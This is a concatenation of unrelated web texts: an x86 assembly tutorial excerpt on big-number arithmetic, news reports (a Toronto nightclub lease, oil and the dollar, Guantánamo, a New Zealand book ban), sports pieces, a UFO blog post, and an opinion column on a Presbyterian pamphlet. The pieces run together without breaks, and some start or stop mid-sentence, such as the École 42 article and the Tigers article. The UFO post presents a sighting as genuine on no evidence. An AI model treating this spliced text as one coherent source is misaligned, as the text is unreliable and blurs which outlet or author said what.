test [bignum+8], 0x0000001F ;00000000 00000000 00000000 00011111 binary jnz overflow
Shifting left:
test [bignum+8], 0xF8000000 ;11111000 00000000 00000000 00000000 binary jnz overflow
But with non-constant number of bits to shift, you would need to construct this mask. Instead, you can use shld and shrd again:
Shifting right:
xor eax, eax ;eax = 0 mov ebx, [bignum] shrd eax, ebx, 5 test eax, eax ;eax?= 0 jnz overflow
Shifting left:
xor eax, eax ;eax = 0 mov ebx, [bignum+8] shld eax, ebx, 5 test eax, eax ;eax?= 0 jnz overflow
Multiplication
To multiply number, there is mul instruction. We will only use mul with one operand. Forms with 2 or 3 operands are not usable for big numbers.
Instruction mul multiplies 32-bit number in EAX, and saves 64-bit result in EDX:EAX. That means we have part that which is "carried" to upper dword in EDX :
mov ebx, 10 ;EBX = multiplier mov eax, [bignum] mul ebx ;EDX:EAX = EAX*EBX mov [bignum], eax ;save result mov ecx, edx ;save carried part in ECX mov eax, [bignum+4] mul ebx add eax, ecx ;add carried part from previous multiplication mov [bignum+4], eax mov ecx, edx mov eax, [bignum+8] mul ebx add eax, ecx mov [bignum+8], eax cmp edx, 0 jne overflow
Multiplying with numbers which don't fit 32 bits (like multiplying two bignums) can't be done in any straightforward way.
Division
Division is similar to multiplication. We will use one-operand form of div instruction. It takes 64-bit number in EDX:EAX, stores result of division in EAX and remainder in EDX. If result is bigger than 32-bits, it throws exception, so we must make sure that this never happens.
We will start from "top" of number (high order dword). After every division, remainder in EDX is used as high 32bits of divident for subsequent division. Last vale of EDX is remainder from entire big number division.
mov ebx, 10 ;divisor mov edx, 0 mov eax, [bignum+8] ;EDX:EAX = number to divide div ebx mov [bignum+8], eax mov eax, [bignum+4] div ebx mov [bignum+4], eax mov eax, [bignum] div ebx mov [bignum], eax ;edx holds remainder from division
Again, dividing by values greater than 32 bits cannot be done "easy way".
Continue to discussion board.
You can contact the author using e-mail vid@x86asm.net.
Visit author's home page.
Revisions
2007-11-20 1.1 Partial rewrite and additions vid 2007-11-06 1.0 First public version vid
(dates format correspond to ISO 8601)Behind The Scenes: Ultimate Spider-Man
Press release
The most anticipated new animated series of the year, Ultimate Spider-Man, premieres on Disney XD on April 1 at 11a/10c. Go inside the show with this exclusive look behind the scenes with the powerhouse creators and the superstar voice cast.
Want even more? Stop by one of the ULTIMATE SPIDER-MAN LAUNCH PARTY EVENTS on March 31, in NYC and LA, to meet some of the featured talent including Jeph Loeb, Paul Dini, Joe Quesada, Man of Action, Clark Gregg and more!
New York – March 31 12-4pm
Midtown Comics Downtown (64 Fulton Street, NYC)
Featuring Joe Quesada (Marvel Chief Creative Officer), Joe Kelly (Man of Action) and Chris Eliopoulos (Ultimate Spider-Man Premiere Comic)
Los Angeles – March 31 12-4pm
Meltdown Comics (7522 Sunset Blvd, Hollywood)
Featuring Jeph Loeb (Marvel’s Head of TV), Paul Dini (Creative Consultant), Duncan Rouleau & Steven T. Seagle (Man of Action), Clark Gregg (Agent Coulson) and Misty Lee (Aunt May)
Head over to Marvel.com for all the details.
– The Comic Book CriticMuzik – the Exhibition Place nightclub that counts sports stars, music celebrities and Toronto Mayor Rob Ford among its clients – is looking to improve its decades-long deal with the city as part of an expansion that will change the face of entertainment on the lake shore.
Zlatko Starkovski, owner of the bar that operates on Saturdays in the Horticultural Building, has acquired new prominence because of visits by Mr. Ford to his club and the mayor's mention of a late-night phone invitation he received from the club owner. He is also seeking new terms for his lease from the city to solidify his goal of bringing hundreds more day-clubbers to Muzik.
However, there has been little public scrutiny of the man who has been running a business on city property for over 10 years. Members of the Exhibition Place Board told The Globe and Mail that they were not aware of aspects of his business dealings, including a past bankruptcy protection filing.
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Mr. Starkovski has been a vocal opponent of the all-ages electronic dance events that were banned last month from the grounds, characterizing them as magnets for drug dealers and pedophiles. Councillors will be asked to overturn that ban Wednesday in a motion before city council, with opponents arguing the ban is about limiting Muzik's competition, not public safety. Later this month, Muzik will make a bid that would limit that competition even further, asking the board of Exhibition Place to beef up the protection in its long-term lease from other events on the grounds. The move would increase Muzik's exclusive rights to larger events – above the 2,999 limit it now has. It comes as Muzik is building three new pools and cabanas in an outdoor area with capacity for 5,654 people.
Given this latest request, area Councillor Mike Layton says it is time the city got some answers about the club and its owner. "Why would we open up the agreement without talking about money or anything else?" he asked. "We need answers first."
Mr. Starkovski has been a major tenant of Exhibition Place since 2003, but both its CEO, Dianne Young, and board chair Councillor Mark Grimes told The Globe and Mail they are not aware of his other business dealings. Those dealings include a stormy relationship with the owner of a Toronto strip club and related bankruptcy protection proceedings, later settled, involving a company owned by Mr. Starkovski and set up to operate Muzik nightclub, The Globe and Mail has learned. Both Mr. Starkovski and his spokeswoman did not respond to requests for comment.
Court documents that include a 2010 affidavit by Mr. Starkovski reveal he has been paying rent to the city that is below market value – a sliding scale that has fixed rent that tops out at $10,000 a month this year, with possible additional payments if sales hit a certain threshold. In the same affidavit, he also said that a 2010 real estate appraisal he commissioned described the location as a "jewel," estimating a "realistic" market rent for the venue, excluding the area outside, was $85,000 a month.
The terms of the lease, Mr. Starkovski said in court documents, were in part because of improvements he made to the property. In his affidavit, he indicated he had spent over $1.6-million on improvements between 2004 and 2010.
Ms. Young, the CEO of Exhibition Place, would not comment on the specifics of the 20-year lease, but said one of the benefits of the agreement is that the Horticultural Building will be kept in good condition. "Our interest is that they have good premises, so they have good businesses and also, to improve and maintain the base building. We cannot do that in our capital budget," she said.
In his drive to expand his business over the years, Mr. Starkovski has enlisted the lobbying help of former councillors and past members of the Exhibition Board, Joe Pantalone and Chris Korwin-Kuczynski (Mr. Korwin-Kuczynski initiated the motion to award Mr. Starkovski the lease). Mr. Starkovski recently hired Sussex Strategy to represent him in the fight to ban electronic dance parties.
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While Mr. Ford has talked about his friendship with Mr. Starkovski, the club owner for his part has tried to distance himself from the mayor, issuing a statement last week saying they "are not close" and have not met "outside a professional setting."
Mr. Grimes, chair of the Exhibition Place Board, who supported Mr. Starkovski in his bid to ban the dance parties, said he has been to the club for events but knows Mr. Starkovski only as a tenant of the grounds.
"He's not my best friend," he said in an interview, adding that lease was signed before his time on the board.
Mr. Starkovski's business relationship with the city that has taken him from a 25-year-old aspiring entrepreneur living with his parents in a suburban home just north of Toronto when he signed the deal, to a high-profile nightclub owner who recently purchased a $1-million waterfront condominium.
From 2003, when he first got the Exhibition Place lease, to 2008, he was a director of a numbered company that owned the building that housed Club Paradise, a strip club at Bloor and Lansdowne in Toronto's west end. His father, Mike Starkovski, was also a director of the company until his death in 2006. The Telios family, which still owns Club Paradise, were also early financial backers of Mr. Starkovski, until a bitter court battle in 2010 over a $740,000 debt.
Mr. Pantalone was not on the Exhibition Place Board when the lease was awarded and has not done work for Muzik for at least a year. He noted that it was a near-unanimous decision by council in 2003 to finalize the deal. (He voted for it as a councillor and there were only two votes against, one by then-councillor Rob Ford).
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"It was a deteriorating building. It really required a lot of work," Mr. Pantalone said.
Charles Khabouth, head of INK Entertainment and the club owner who began operating dance events at Exhibition Place last year, claims the Muzik expansion is the real reason behind last month's all-ages dance party ban.
Mr. Khabouth, who operates a lakeside pool bar in the Port Lands, said he was "flabbergasted" by the ban on the dance events and is fighting it. "It makes no sense," he said.
With research by Stephanie Chambers. Shannon Kari is a freelance writer.After the last match of group stage between EnVyUs and Tempo Storm came to a close, DreamHack have drawn the quarter-finals match-ups.
The last day of group stage saw deciding matches being played out. Most of day three was carried out in upsets, as TYLOO, GODSENT, NiP and Envy made it through to quarter-finals from second place in their respective groups.
Right after the last match the organizers drew the quarter-final match-ups in a way that teams from the same group couldn't meet earlier than in the grand final.
The bracket draw and the schedule for Saturday looks as follows:
Remember that tomorrow the teams have a day off, the action will continue on Saturday starting with the pre-game show at 10:15 before the first quarter-final between Natus Vincere and TYLOO.French entrepreneur Xavier Niel and educator Nicolas Sadirac have crazy ideas about how to train software developers and run a university. Could 42 transform higher education in the US, or is it just an edge case?
Image: Jason Hiner/TechRepublic
French university École 42 torches the instruction manual on how to educate software engineers.
It eliminates teachers. It doesn't make students memorize facts, or even buy books. There's no syllabus or curriculum to be found anywhere in the school's Paris headquarters. And to top it off, it doesn't charge students any tuition or fees.
If this sounds like a party, it's not. It's brutally competitive to get accepted—80,000 students applied for 1,000 spots in last year's class—and the students who do get in are thrown into the deep end on projects that operate at the pace of tech startups.
It's the kind of school that Nicolas Sadirac—who once hacked the French Prime Minister's website to demonstrate how easy it was—has always wanted to run. In 2013, French billionaire Xavier Niel put up the money and together Niel and Sadirac founded École 42, now commonly known as simply 42.The name, of course, comes from The Hitchhiker's Guide to the Galaxy, which famously said, "The answer to the ultimate question of life, the universe and everything is 42."
That gives you a pretty good idea of how ambitious Sadirac and Niel are thinking.
The concept for building a new kind of university is based on a pair of ideas:
University programs can't keep up with IT: Traditional academic programs are not properly preparing students for what's needed to work in IT, and the world is going to need a lot more IT workers in the years ahead. College costs too much money: Because a university education is now so expensive, IT misses out on a lot of people who have the potential to be good at the work, but either can't afford it or would have to take on a monstrous amount of debt to get educated.
Sadirac has multiple advanced degrees, knows how to code in all the most important languages, and worked as an educator for 15 years before co-founding 42. He said a traditional academic program spends too much time on background knowledge that IT professionals never use.
"When you know stuff in IT, you know it for a very short time," said Sadirac. It's more important to know how to learn and solve problems. Memorizing facts is virtually worthless, as is studying abstract subjects that provide very little basis for useful knowledge or skills, according to his view.
"We believe IT has nothing to do math and physics," said Sadirac. "It's more artistic than scientific."
As a result, Sadirac and the team at 42 architected a project-based learning program that is entirely executed through software. The program functions like a game and as students progress, they achieve new levels. Once they get to level 21, they graduate.
However, don't think of 42 as a bunch of college kids with their headphones on, glued to computer screens all day. The students are broken up into small teams and given projects to complete—some of them are real projects from 42's corporate partners. The teams have to accomplish the work together, so it creates a peer-to-peer learning environment.
SEE: Startup Republic: How France reinvented itself for the 21st century by wooing entrepreneurs to Paris (free PDF) (TechRepublic)
The day I visited 42 last month at its campus in the 17th Arrondissement of Paris, about half the students were bent over iMacs in a giant open floor plan while the other half were either huddled around tables in the basement collaborating or were up on the second floor mapping out their ideas on whiteboards. Even among the students working on computers, roughly half of them were on grouped together with their teammates to plan their work.
Image: Jason Hiner/TechRepublic
The students who are there, want to be there—and they want to work. Of the 80,000 applicants, 42 brings in around 3,500 of them every year and gives them a trial. They use the French concept of the swimming pool. "We push them all in the pool and see who doesn't die," said Niel.
The best 1,000 who make it through the trial become official 42 students.
"Startups are very unstable," said Niel, "so we need people who can understand that the world will change around them."
And make no mistake, training software engineers who are ready to be entrepreneurs or "intrapreneurs" (innovators inside big companies) is the primary goal of 42. Sadirac said its number one metric for success will be how many students create companies and the overall value of those companies.
The school only started three years ago—and the program is |
aren’t likely to reach the 187-win total Lolich and McLain had in the four-man rotation era.
As good as Lolich and McLain were together, Lolich actually had his two best seasons after McLain was traded.
Lolich went 25-14 with a 2.92 ERA and 308 strikeouts in 1971, and finished second in Cy Young voting to Oakland’s Vida Blue. The following year, Lolich was 22-14 and came in third for the Cy Young. He teamed with Joe Coleman, acquired in the McLain trade with the Washington Senators, to go 177-150 from 1971-75.
The pitching heroes of ’68 — McLain went 31-6 and won the MVP and Cy Young, and Lolich was the World Series MVP with three victories — combined for a 3.19 ERA over five seasons, which ended in 1969 with McLain tying Batlimore’s Mike Cuellar for the Cy Young.
Detroit’s 2011 Cy Young and MVP winner, Verlander, and 2013 Cy Young winner, Scherzer, have registered a 3.20 ERA and could very well edge Lolich and McLain in that category come October.
The Newhouser-Trout combo went 200-123 (.619) and posted a great 2.54 ERA from 1944-48. They’re tops in both earned run average and wins for any one-two punch Detroit has ever had, but have to be considered the No. 3 pairing for two reasons:
— They pitched two of their seasons during World War II, when major league rosters were void of such stars as Ted Williams and Joe DiMaggio serving in the military, and Newhouser and Trout combined to go 99-47 in 1944-45. They were 101-76 in the three years after the war.
— And Trout wasn’t really an equal to Newhouser, who was the MVP in 1944 and 1945. Newhouser was 118-56, while Trout was 82-67. So, it wasn’t so much a one-two punch as one elite and one good pitcher teaming up. Only in one year were they both were tremendous. Trout went 27-14 in 1944, and Newhouser was 29-9.
But we’re examining half-decade dominance here. They had very good numbers together and deserve to be remembered for leading the Tigers to a Series win in 1945. In terms of pitchers who teamed to strike fear into opponents, however, they fall short of the Lolich-McLain and Scherzer-Verlander duos.
Kaline recalled the four pitchers who provided the best pair of one-two combos in franchise history:
On Lolich: "Mickey had great stuff and sunk the ball away. He threw a devastating down-and-in slider to right-handers, and was not afraid to push a guy off the plate. He’d back his hitters by coming in on the other team’s hitters if their pitcher was doing that to us. He had tremendous movement on his pitches and kept the ball down. He was both great to play behind and a great teammate."
On McLain: "Denny was unbelievable. It’s a shame he hurt his arm because there is no telling what he would’ve done. (McLain had 114 of his 131 wins by age 25.) He came over the top, and like Scherzer, his fastball had rise on it at the end. He really rose to the occasion in games. In the games when we had trouble scoring runs, he reached back for something extra. He was a fly-ball pitcher and threw strikes. Denny was a pleasure to play behind."
On Scherzer: "Max is a guy who can dial it up but not as hard as Verlander. But he also has four quality pitches and wants to get better. All he thinks about in the winter is getting better. And this year, his curveball is much, much better. He doesn’t throw harder than anybody else, but his movement is up on the pitches. So most swings against him are under his pitches and he gets a pop-up or strikeout."
On Verlander: "He throws four pitches and they are four quality pitches. And Justin can always go to any one of those pitches. As a hitter, you always have that in the back of your mind. And in the late innings, he can still dial it up. He’s not reaching 100 (mph) but the 96-97 is there, and most times he’s reaching it. That’s special. And his curveball makes knees buckle. He’s just a great competitor who works so hard."Editor’s note: This month, we are exploring the theme “from science to society” – how research is making a difference in all aspects of life, including mental health.
When we talk about mental health, it’s often in the context of illness and treating disorders like depression and anxiety. But looking at mental health from the opposite side – what makes us healthy – provides enlightening insights too.
May 8-14 is Mental Health Awareness Week in the UK. This year, the campaign focuses on promoting good mental health rather than treating problems – exploring why some of us are surviving while others are thriving. What is it that makes some people with a history of criminal behavior develop mental health issues while others do not? And why is it that some people are less prone to depression than others?
Understanding these deeply complex questions requires a broad view of the issues. Results from research across disciplines and journals is extremely valuable. At Elsevier, we tag this content to make it machine readable; that means researchers can search it more easily and find related content, while medical practitioners can use it with patients at the point of care. Platforms such as ClinicalKey are starting to be adopted by mental health trusts, providing reliable, evidence based answers drawn from this research.
In this article collection, we have pulled together a small selection of articles published in the last year that investigate mental health by looking at what is behind some people’s success, happiness and mental health – what makes some people thrive.
Get moving for mental health
Exercise: love it or hate it, we all know it’s good for our health. And according to a growing body of research, this is also the case for our mental health – even from a young age. School students often find themselves stressed and under pressure to perform in standardized tests. Sport plays a big role in education in the US, with many students participating in team sports. Previous research has shown exercise is linked to lower levels of depression and better relationships with peers, and a study in the Journal of Applied Developmental Psychology has added academic achievement to the list.
Researchers at the University of Minnesota in the US and the University of Alberta in Canada analyzed data from the 2010 administration of the Minnesota Student Survey, which consisted of information from 29,535 12th grade students (aged about 18). 12,849 of the students participated once or twice a week in school-organized sports. The researchers found that students who participated in sports were more likely to have higher academic achievement (as shown by GPA scores) and perceive the school to be safe and their family and teachers to be supportive.
The exercise effect goes beyond team sports at school: a study in Body Image reveals that people who practice yoga have a more positive body image. The researchers, from Flinders University in Australia, asked 193 yoga practitioners and 127 university students who don’t practice yoga to answer a questionnaire covering four areas: body image, embodiment, self-objectification and desire for thinness.
The yoga practitioners had a more positive body image and lower levels of self-objectification. The researchers concluded: “yoga is an embodying activity that can provide women with the opportunity to cultivate a favorable relationship with their body.”
Go online for a happiness boost?
While embodiment clearly has a positive impact on body image, our non-physical presence also affects our mental health. Social media is used almost ubiquitously among young people, making it an increasingly important means of connection and communication. According to research in Computers in Human Behavior, certain social media channels can also make us happier.
Researchers from the University of Oregon in the US found that not all channels have such control over our mental health; they argue that it’s the image-based social media sites, like Instagram and Snapchat, that have a positive impact on our mental wellbeing. The researchers conclude:
Our results indicate that the more image-based social media platforms one uses, the happier, more satisfied with life, and less lonely he or she is likely to perceive being.
Social media doesn’t always get such a positive review – we often see calls to abandon Facebook or leave Twitter behind if we want to be happier. After all, social media provides something of a rose-tinted lens to view everyone else’s blissful happiness, and it can even lead to rejection. Yet it isn’t always the case that social media makes us miserable – or happy. Researchers from Cornell University in the US have worked out why.
In their study in the Journal of Experimental Social Psychology, the researchers looked at people’s sensitivity to positive feedback on Facebook, testing whether the number of likes people got on their profile pictures were positively linked to self-esteem. They found that people with a greater sense of purpose were less sensitive to positive feedback on social media.NEW YORK (Reuters) - The longer oil prices remain above $100, the worse things are likely to get for the U.S. dollar.
An aerial view of oil platforms at Campos basin in Rio de Janeiro, 28 November, 2007. REUTERS/Bruno Domingos
With the greenback hitting all-time lows and no end to its slide in sight, oil exporters are likely to shift a larger share of their revenues into other currencies.
That weakens the dollar further, making dollar-denominated oil more costly for American consumers. Inflation fears also prompt investors to buy commodities as a hedge and favor strong currencies over the weak dollar.
It’s what Morgan Stanley global currency strategist Stephen Jen called a “vicious circle” that can be very hard to break.
“A lot of the premium in commodity prices now is directly correlated to dollar weakness, and you need to see a dollar turnaround for oil prices to pull back and U.S. growth to start to pick up again,” said Greg Salvaggio, an FX trader at Tempus Consulting in Washington.
If that doesn’t happen, some worry that investors could stop buying U.S. Treasury debt, causing interest rates to spike, inflation to worsen and living standards to slide.
That’s troubling news, particularly now that economists believe the United States has already entered a recession that may prove more persistent and painful than any since the 1930s.
At current prices, Jen said oil exporters stand to earn $2.1 trillion in annual revenues, with some 90 percent of it likely to be poured into global capital markets.
In the case of the Middle East oil exporters and Russia, Jen said much of the money is likely to be managed by state-run wealth funds, which are far more willing to invest in riskier, non-dollar assets than central bank reserve managers.
“Sovereign wealth funds are not loyal dollar buyers. They are more likely to buy equities over sovereign bonds, and that is not a pattern that’s friendly to the dollar,” he said.
Already down about 7 percent this year alone against a basket of major currencies, the dollar also has fallen to record lows against the euro and Swiss franc and a 12-1/2-year low against the yen.
In addition to equities, Jen said the flows of future oil revenue are likely to favor the yen and emerging market currencies over both the dollar and the euro.
MIDEAST DOLLAR PEGS NEXT?
Rising oil prices and the rapid growth of foreign-exchange reserves have added some $2 trillion in assets to these funds’ coffers in recent years. Jen has predicted holdings could rise to $12 trillion by 2015.
Some analysts also warn that higher oil prices increase the pressure on countries such as the United Arab Emirates and Qatar to unhitch their currencies to the dollar and peg them to a basket of currencies instead.
High oil prices and a weak dollar have translated into rising inflation in these economies. And with the dollar pegs, central banks have been forced to mimic recent rate cuts from the Federal Reserve at a time when many economists feel they should be increasing interest rates to dampen higher prices.
In a recent research note, analysts at Danske Bank said a move away from dollar pegs would send the dollar sharply lower and would likely put heavy pressure on U.S. stocks and bonds.
But Brad Setser, a fellow in geo-economics at the Council for Foreign Relations, said political ties to the United States and hopes of a future currency union will likely leave Mideast oil exporters closely tied to the dollar.
That would require their central banks to keep accumulating dollar reserves to maintain the fixed exchange rate, likely offsetting diversification by their sovereign wealth funds into other currencies.
Some also say a U.S. recession will eventually slow growth in the euro zone and beyond, causing commodity prices to ease and letting the U.S. dollar regain some ground against other currencies.
“I can foresee a situation 12-18 months down the road where U.S. assets and the dollar will look cheap and very attractive,” said Mike Moran, senior currency strategist at Standard Chartered in New York.President Obama will fail to keep one of his most high-profile promises — closing the detention facility for suspected terrorists at Guantánamo Bay, Cuba — the White House acknowledged on Tuesday.
“At this point, I don’t anticipate that we will succeed in that goal of closing the prison, but it’s not for a lack of trying,” press secretary Josh Earnest told reporters at his final media briefing.
“The only reason it didn’t happen is because of the politics that members of Congress of both parties, frankly, played with this issue,” Earnest said with just two full days left in Obama’s term.
The outgoing president had made a top priority of closing the facility, opened under his predecessor in 2002, at the dawn of the modern war on terrorism. Obama contended that it served as a terrorism-recruiting tool and later seized on the argument that keeping the facility open for a diminished population of prisoners was a waste of taxpayer dollars.
“To overcome extremism, we must also be vigilant in upholding the values our troops defend — because there is no force in the world more powerful than the example of America,” Obama told a joint meeting of Congress in February 2009. “That is why I have ordered the closing of the detention center at Guantánamo Bay, and will seek swift and certain justice for captured terrorists — because living our values doesn’t make us weaker, it makes us safer and it makes us stronger.”
But lawmakers blocked his proposals to shift the prisoners to prison facilities on U.S. soil and have criticized his efforts to transfer detainees overseas to countries willing to harbor them under close supervision.
In the latest transfer, 10 prisoners were shipped to Oman for what that country called a “temporary” stay. Just 45 detainees remain at the naval base, down from 242 when Obama took office.
White House press secretary Josh Earnest (Photo: Yuri Gripas/Reuters) More
Ironically, it was a liberal Democrat who dealt the first blow to Obama’s promise.
In May 2009, Democratic House Appropriations Committee Chairman Dave Obey stripped $80 million that Obama had requested to close the prison from an emergency funding bill. “While I don’t mind defending a concrete program, I’m not much interested in wasting my energy defending a theoretical program,” Obey said at the time. “So when they have a plan, they’re welcome to come back and talk to us about it.“
Republican hardliners (with not just a few Democrats going along) seized on the issue to try to make Obama look weak on national security. The Obama administration provided all the ammo Republicans needed with its clumsy and ill-fated plan to transfer a handful of forlorn Chinese Uighur prisoners to a Northern Virginia suburb, touching off a full-blown NIMBY (not in my backyard) rebellion in Congress.
The Obama team members seriously underestimated how difficult a task they had assigned to themselves. “There was kind of this naiveté that somehow, if the president said we’re going to close Guantánamo, and we have a plan to close Guantánamo, that ultimately that would happen,” recalled former CIA Director Leon Panetta.
Read more from Yahoo News:John Yoo, a former Justice Department attorney known for writing legal memorandums on enhanced interrogation tactics known as the Torture Memos, says President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE has gone too far in his use of executive power.
In a New York Times op-ed on Monday, Yoo argues that Trump's use of executive power is worrisome.
“He should understand the Constitution’s grant of executive power,” Yoo wrote, referencing Alexander Hamilton, who co-wrote the Federalist Papers, a series of essays on the Constitution.
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“He should share Hamilton’s vision of an energetic president leading the executive branch in a unified direction, rather than viewing the government as the enemy. He should realize that the Constitution channels the president toward protecting the nation from foreign threats, while cooperating with Congress on matters at home.”
Yoo said Trump, as commander in chief, does not have the constitutional authority to order the construction of a border wall, nor does he have the power to terminate trade deals negotiated by Congress, like the North American Free Trade Agreement.
Yoo said that Trump’s executive order imposing a temporary ban on nationals from seven predominantly Muslim countries entering the United States “falls within the law,” but noted reports that Trump had originally sought a “Muslim ban.” Yoo said such an order would “violate the Constitution’s protection for freedom of religion or its prohibition on the state establishment of religion.”
“Had Mr. Trump taken advantage of the resources of the executive branch as a whole, not just a few White House advisers, he would not have rushed out an ill-conceived policy made vulnerable to judicial challenge,” he wrote.Carytown Burgers & Fries is looking to supersize.
Michael Barber, owner of the popular West Cary Street burger joint said he plans to open a Carytown Burgers & Fries Catering and Cafe at 5404 Lakeside Ave. next month and has a West End location planned for November.
Adding more locations has always been a goal for Barber, and next year he plans to look into franchising the brand.
“The only reason I waited so long is I wanted to make sure we were ready,” said Barber, who started the brand 15 years ago. “Out in the real world, you have to make a lot more people happy and there are a lot more critics.”
The 1,000-square-foot Lakeside location will be about twice the size of the burger spot’s original storefront at 3500 ½ W. Cary St.
Barber would not say where the West End location will be but did say he is in the process of finalizing a lease for a location that is at least 2,500 square feet.
“It’s near Short Pump Town Center is all I can say,” Barber said.
Barber, 45, has a three-year lease on what was a Lakeside barber shop. Getting a whiff of some competition won’t be hard from that location. It will be just up the road from Roy’s Big Burger, another mainstay in the burger scene at 5200 Lakeside Ave.
Carytown Burgers & Fries has done catering since 2006, and Barber said he plans to use the Lakeside location to give his catering clients a better sense of the brand.
“I want my clients from catering to come pick out their menu and try the food on site,” he said.
He said being near major interstates made the Lakeside location an attractive place to expand.
“Lakeside is a gem in Richmond,” he said. “The exposure and central location makes this an easy decision.”
Barber is not the only entrepreneur who sees opportunity in Lakeside. Early Bird Biscuit Co. opened this month across the street from Carytown Burgers & Fries’ catering spot.
No menu changes are planned for the new locations.
Carytown Burgers & Fries is also adding a third food truck to its fleet in August, and a fourth will be added when the West End location opens.
Barber’s burger brand is one of the handful of local operators who put up $2,500 to be on site at the Washington Redskins Training Camp Food Court on West Leigh Street.
He said that just giving the brand that exposure near the camp will be worth the investment long-term.
Carrying out the expansion plan wasn’t possible without having the right staff in place, Barber said.
“I’ve really stepped up my game to make this transition possible,” he said. “Our roots are growing as big as our tree.”I have been trying to avoid putting every blurry video of a strange light in the sky I have come across on the site, but this one rather struck my fancy.
It’s of a UFO sighting out of Lima, Peru that managed to make the news (their news coverage is far more open minded than ours… also, their female anchors are more likely to wear very revealing attire).
The shots were taken on Tuesday, January 4 from Jirón Wari in Barrios Altos, where a group of neighbors equipped themselves with two camcorders and taped -- from different angles -- the oscillating movements of an unidentified flying object for nearly 30 minutes.
"It's a UFO. You'd have to be somewhat thick to deny it," said Julia Gutierrez, one of the witnesses, who further added that it is common to see such sights in the area, which tend to leave local residents shaken.
Check out the footage:
Anyone else get a Close Encounters of the Third Kind from this footage…
The saucer like object…. The rotating funny light pattern…
I can see where someone looking at something like this in their horizon would be a little unsettled.
But then comes that awful question: “Could this be a hoax?”
But I’ve said it before and I’ll say it again…
Eventually the footage will be too good to be true because it is true.In the last decade, several mainstream American Protestant denominations have flirted with resolutions endorsing boycotts of companies doing business with Israel. Most of these efforts have been defeated, albeit narrowly, by strenuous efforts by Jewish groups determined to preserve good interfaith relations as well as by Christians who wanted no part of a movement dedicated to waging economic war on a democratic state. In most cases, these battles have involved a small cadre of left-wing activists involved in church leadership groups that had little support among ministers, and even less among rank-and-file church members. Thus, even the Presbyterian Church USA (PCUSA), a church that has a particularly virulent group of pro-Palestinian and anti-Israel activists working in positions of influence, failed to pass a divestment resolution in 2012. But despite that defeat, those anti-Israel elements have now regrouped and launched a new initiative that threatens to escalate the battle within the church and to undermine any remnant of good will that still exists between this Presbyterian group (the PCUSA is just one among a number of groups that call themselves Presbyterians) and American Jews.
As the Times of Israel reports, the Presbyterians’ Israel Palestinian Mission Network (IPMN) has issued a “study guide” about the Middle East conflict that will forever change the relationship between the church and the Jewish people. The 74-page illustrated booklet and companion DVD entitled Zionism Unsettled was published last month for use by the church’s 2.4 million members. Unlike other left-wing critiques of Israel, the Presbyterian pamphlet isn’t content to register disapproval of Israeli policies and West Bank settlements or to lament the plight of the Palestinians. The booklet is a full-blown attack against the very concept of Zionism and seeks to compare Zionism to the Christian anti-Semitism that led to the Holocaust and other historical atrocities. Its purpose is to brand Israel as an illegitimate entity and to treat its American Jewish supporters as having strayed from the values of their religion. Zionism Unsettled not only swallows the Palestinian narrative about Middle East history whole, it is nothing less than a declaration of war on Israel and American Jewry.
As a work of political science or history, Zionism Unsettled is unworthy of serious discussion. Its argument rests on the prejudiced assumption that the Jews are the one people on earth that are unworthy of self-determination or the same rights to a homeland as any other on the planet. It smears those who sought to create the Jewish homeland and whitewashes those who have waged war and engaged in terrorism to destroy it. Ignoring history and the reality of virulent anti-Jewish prejudice in the Arab and Muslim world, it claims Jewish life would thrive in the region if there were no Israel. If that absurd assertion were not enough to strip it of even a vestige of credibility, it goes so far as to claim that the tiny, intimidated remnant of Jewish life in an Iran ruled by a vicious anti-Semitic regime is a model of coexistence.
With regard to the conflict between Israel and the Palestinians, it sees only black and white. In Zionism Unsettled, the Jews have no right to Israel and no right to defend themselves. On the other hand, it rationalizes and even justifies violence against Israel.
But the argument goes further than anti-Zionism. The pamphlet actually criticizes the Catholic Church for its historic efforts at reconciliation with the Jewish people, saying the 1965 declaration Nostra Aetate that rejected the Deicide myth against the Jews “raises as many questions as it answers.”
Unlike past controversies in which Jewish groups sought to bridge the divide between the two communities, the distribution of a publication that is driven by sheer hatred and a determination to see Israel destroyed requires a more forthright response. The response to this screed should be unequivocal. Any Presbyterian Church USA that chooses to distribute it is not merely offending supporters of Israel. It is endorsing hate speech and seeking to spread a doctrine that seeks Israel’s destruction and views Jews who do not reject Zionism as guilty of complicity in the “crimes” of the Jewish state. With this publication, the PCUSA has crossed a line that divides people of good will from those who promote racism or anti-Semitism. The many decent members of congregations affiliated with the PCUSA can no longer stand by mutely while the good name of their church is sullied in this manner. They must either actively reject this ugly publication or forever be tainted by association with the vile hatred to which their leadership has committed them.The author of an award-winning young adults book says he is appalled it has been banned after a complaint from a Christian lobby group.
Photo: Ted Dawe/Penguin Random House
The Film and Literature Board of Review has placed an interim restriction order on Into The River, by Auckland author Ted Dawe, meaning it cannot be sold, lent or displayed by anyone.
Into the River won Book of the Year at the 2013 New Zealand Post Children's Book Awards, but has had a turbulent history.
The board of review initially restricted it to people aged 14 or over, but that was lifted last month.
However, the board has now placed an outright interim ban on the book after Family First asked for a review, objecting to the book's sex scenes, offensive language and references to drug-taking.
Mr Dawe said he was very bitter about the latest turn of events.
"The idea that some Christian group can bring about the banning of a book seems to me a hideously unfair situation and something of a miscarriage of justice."
The book was trying to reach out to teenagers and young people who would not normally read, he said.
"Boys particularly - boys who maybe fall through the cracks in the education system - and it's a tough ask to get to those kids, they're not easy to connect with."
Mr Dawe, his publisher Penguin and school libraries were all discussing what they could do next, he said.
Librarians have thrown their support behind the novel.
Regional collections manager at Auckland Libraries Louise LaHatte said she hoped there would be a chance to support the book through the review process.
She said the freedom to read on a range of issues and topics was a really important one.
Ms LaHatte said the sex in the novel was not gratuitous.
An Internal Affairs spokeperson said the board of review now had to discuss what final restriction should be placed on Into the River.
The three options they would consider were an R18 restriction, an R14 restriction and no restriction, the spokesperson said.
No meeting date has been set yet.
Do you know a teenager who has read Into the River? Contact iwitness@radio.co.nzPresident of the European Parliament Antonio Tajani (EPP) told EURACTIV Spain that austerity policies must go hand-in-hand with growth and that the United Kingdom will not be “an enemy” of the EU after Brexit.
In an interview with EFE during his first visit to Spain as head of the institution, Tajani insisted that he does not believe in austerity policies that focus just on reducing public debt, even though that is a “fundamental pillar” in recovering from the recent economic crisis.
“I don’t believe in austerity policies alone. I think it’s an error to focus solely on austerity but I do believe that reducing public debt is important,” explained the Italian, who was elected head of the European Parliament on 17 January.
